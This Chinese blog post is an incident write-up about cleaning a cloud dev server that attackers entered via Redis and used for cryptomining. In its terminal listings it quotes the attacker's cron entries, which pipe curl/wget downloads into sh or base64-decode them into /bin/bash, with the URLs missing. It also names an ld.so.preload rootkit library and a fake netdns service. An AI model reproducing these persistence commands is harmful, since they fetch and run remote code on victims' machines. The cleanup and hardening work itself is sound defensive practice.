記一次伺服器被用來挖礦的異常問題處理

dbasdk發表於2018-10-10

公司一臺阿里雲ECS伺服器分配給某團隊的開發人員拿去做開發測試機,不幸被人利用redis漏洞黑入把伺服器用來挖礦了。下面是處理過程:


基本情況:

由於是開發測試機,分配之後全權給開發人員使用了,且直接給的root賬號。觀察到該ECS的CPU佔用異常,好幾天都是100%,同時今天收到阿里雲的安全告警說該ECS疑似有挖礦程式。


初步核查:

1、CPU佔用一直在99%~100%,但top檢視不到高佔用的程式;

2、root使用者下發現來歷不明的定時任務且刪除後隔幾分鐘還是會自動新增。

[root@dev cron.d]# crontab -l

*/23 * * * * (curl -fsSL ||wget -q -O- )|sh

##

[root@dev cron.d]#


處理過程:

1、首先修改了root賬號的密碼,並禁用了SSH的root登陸配置;


然後參考網上資料進行了如下處理:

(注意:清理前最好與正常的系統對比一下,確認哪些是正常系統不會有的)

2、處理來歷不明的定時任務

一開始只用crontab -e刪除,但發現幾分鐘後又有了,所以肯定還有別的配置,後面依次排查了/etc/cron*目錄和/var/spool/cron/root等處,與正常系統對比確認後,全部刪除,觀察半小時以上,終於確認幹掉了來歷不明的定時任務。

[root@dev cron.d]# crontab -l

*/23 * * * * (curl -fsSL ||wget -q -O- )|sh

##

[root@dev cron.d]#


[root@dev cron.d]# grep curl *

apache:*/17 * * * * root (curl -fsSL ||wget -q -O- )|sh

root:*/10 * * * * root (curl -fsSL ||wget -q -O- )|sh

[root@dev cron.d]#


[root@dev cron.daily]# ll

total 12

-rwx------ 1 root root 180 Jul 10  2003 logrotate

-rwx------ 1 root root 927 Mar 22  2017 makewhatis.cron

-rwxr-xr-x 1 root root 116 Mar 23  2017 oanacroner

[root@dev cron.daily]# grep curl *

oanacroner:(curl -fsSL || wget -q -O- )|base64 -d |/bin/bash

[root@dev cron.daily]# pwd

/etc/cron.daily

[root@dev cron.daily]# ll /etc/cron.daily/oanacroner

-rwxr-xr-x 1 root root 116 Mar 23  2017 /etc/cron.daily/oanacroner

[root@dev cron.daily]# 


[root@dev log]# ll /var/spool/cron/root

-rw-r--r-- 1 root root 113 Mar 23  2017 /var/spool/cron/root

[root@dev log]# cat /var/spool/cron/root

*/23 * * * * (curl -fsSL ||wget -q -O- )|sh

##

[root@dev log]# 


[root@dev cron.d]# ll /var/spool/cron/crontabs/root

-rw-r--r-- 1 root root 113 Mar 23  2017 /var/spool/cron/crontabs/root

[root@dev cron.d]# cat /var/spool/cron/crontabs/root

*/31 * * * * (curl -fsSL ||wget -q -O- )|sh

##

[root@dev cron.d]#


[root@dev cron.d]# date;crontab -l

Wed Oct 10 10:35:19 CST 2018

no crontab for root

[root@dev cron.d]# 


[root@dev cron.hourly]# ll

total 8

-rwxr-xr-x 1 root root 409 Aug 24  2016 0anacron

-rwxr-xr-x 1 root root 116 Mar 23  2017 oanacroner

[root@dev cron.hourly]# grep curl *

oanacroner:(curl -fsSL || wget -q -O- )|base64 -d |/bin/bash

[root@dev cron.hourly]# pwd

/etc/cron.hourly

[root@dev cron.hourly]# 

[root@dev etc]# cd cron.monthly

[root@dev cron.monthly]# ll

total 4

-rwxr-xr-x 1 root root 116 Mar 23  2017 oanacroner

[root@dev cron.monthly]# grep curl *

(curl -fsSL || wget -q -O- )|base64 -d |/bin/bash

[root@dev cron.monthly]# pwd

/etc/cron.monthly

[root@dev cron.monthly]# 


3、清理異常的檔案

首先嚐試解決top命令檢視不到大量佔用CPU的異常程式的問題

參考網上資料,發現此處檔案很可疑(正常系統不存在這個檔案):

[root@dev tmp]# cd /usr/local/lib/

[root@dev lib]# ls

libdns.so

[root@dev lib]# ll

total 12

-rwxr-xr-x 1 root root 9436 Mar 23  2017 libdns.so

[root@dev lib]# pwd

/usr/local/lib

[root@dev lib]# 


刪除後top檢視


kill掉大量佔用CPU的2個異常程式的PID後,系統CPU佔用很快就恢復正常了。


解決圖中的報錯:

ERROR: ld.so: object '/usr/local/lib/libdns.so' from /etc/ld.so.preload cannot be preloaded: ignored.

ERROR: ld.so: object '/usr/local/lib/libdns.so' from /etc/ld.so.preload cannot be preloaded: ignored.


[root@dev lib]# ll /etc/ld.so.preload

ERROR: ld.so: object '/usr/local/lib/libdns.so' from /etc/ld.so.preload cannot be preloaded: ignored.

ERROR: ld.so: object '/usr/local/lib/libdns.so' from /etc/ld.so.preload cannot be preloaded: ignored.

-rw-r--r-- 1 root root 50 Mar 23  2017 /etc/ld.so.preload

[root@dev lib]# vi /etc/ld.so.preload

ERROR: ld.so: object '/usr/local/lib/libdns.so' from /etc/ld.so.preload cannot be preloaded: ignored.

ERROR: ld.so: object '/usr/local/lib/libdns.so' from /etc/ld.so.preload cannot be preloaded: ignored.

[root@dev lib]# vi /etc/ld.so.preload

[root@dev lib]# ll /etc/ld.so.preload

-rw-r--r-- 1 root root 0 Oct 10 11:53 /etc/ld.so.preload

[root@dev lib]# rm -f /etc/ld.so.preload

[root@dev lib]# ll /etc/ld.so.preload

ls: cannot access /etc/ld.so.preload: No such file or directory

[root@dev lib]# 

刪除/etc/ld.so.preload後上面的報錯就沒了。


後面繼續排查,使用chkconfig --list發現有異常的開機啟動服務 netdns,根據名字的相關性,合計查到下面的檔案都是異常的,與正常系統對比後刪除。

/bin/dns

/usr/sbin/netdns

/etc/init.d/netdns( /etc/rc.d/init.d/netdns)

此外還有/tmp目錄下的一些檔案


4、對redis做安全加固

參考阿里雲-Redis服務安全加固



後續文章將主要在公眾號“技術進階與實戰”(WXID:HelloException)釋出,歡迎關注!


來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/29734436/viewspace-2215928/,如需轉載,請註明出處,否則將追究法律責任。

相關文章